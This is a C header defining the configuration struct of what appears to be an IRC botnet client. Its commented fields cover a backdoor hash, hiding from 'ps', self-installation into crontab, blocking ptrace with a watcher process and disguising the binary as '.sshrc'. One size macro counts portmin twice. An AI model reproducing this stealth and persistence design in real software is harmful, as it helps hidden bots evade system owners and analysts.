settings.h 2.0 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354
  1. #ifndef _SETTINGS_H
  2. #define _SETTINGS_H
  3. #define PREFIXLEN 16
  4. #define SETTINGS_VER 1
  5. typedef struct settings_struct {
  6. char prefix[PREFIXLEN];
  7. /* -- STATIC -- */
  8. char hash[65];
  9. char packname[65];
  10. char shellhash[65];
  11. char bdhash[65];
  12. char owners[1024];
  13. char hubs[1024];
  14. char owneremail[1024];
  15. char salt1[65];
  16. char salt2[45];
  17. char dcc_prefix[25];
  18. /* -- DYNAMIC -- */
  19. char bots[1389];
  20. char uid[25];
  21. char autouname[25]; /* should we just auto update any changed in uname output? */
  22. char pscloak[25]; /* should the bots bother trying to cloak `ps`? */
  23. char autocron[25]; /* should the bot auto crontab itself? */
  24. char watcher[25]; /* spawn a watcher pid to block ptrace? */
  25. char uname[489];
  26. char username[45]; /* shell username */
  27. char homedir[489]; /* homedir */
  28. char binpath[489]; /* path to binary, ie: ~/ */
  29. char binname[45]; /* binary name, ie: .sshrc */
  30. char portmin[25]; /* for hubs, the reserved port range for incoming connections */
  31. char portmax[25]; /* for hubs, the reserved port range for incoming connections */
  32. /* -- PADDING -- */
  33. char padding[4];
  34. } settings_t;
  35. #define SIZE_PACK sizeof(settings.hash) + sizeof(settings.packname) + sizeof(settings.shellhash) + \
  36. sizeof(settings.bdhash) + sizeof(settings.owners) + sizeof(settings.hubs) + sizeof(settings.owneremail) + \
  37. sizeof(settings.salt1) + sizeof(settings.salt2) + sizeof(settings.dcc_prefix)
  38. #define SIZE_CONF sizeof(settings.bots) + sizeof(settings.uid) + sizeof(settings.autouname) + sizeof(settings.pscloak) + \
  39. sizeof(settings.autocron) + sizeof(settings.watcher) + sizeof(settings.uname) + sizeof(settings.username) + \
  40. sizeof(settings.homedir) + sizeof(settings.binpath) + sizeof(settings.binname) + sizeof(settings.portmin) + \
  41. sizeof(settings.portmin)
  42. #define SIZE_PAD sizeof(settings.padding)
  43. #define SIZE_SETTINGS sizeof(settings_t)
  44. extern settings_t settings;
  45. #endif /* !_SETTINGS_H */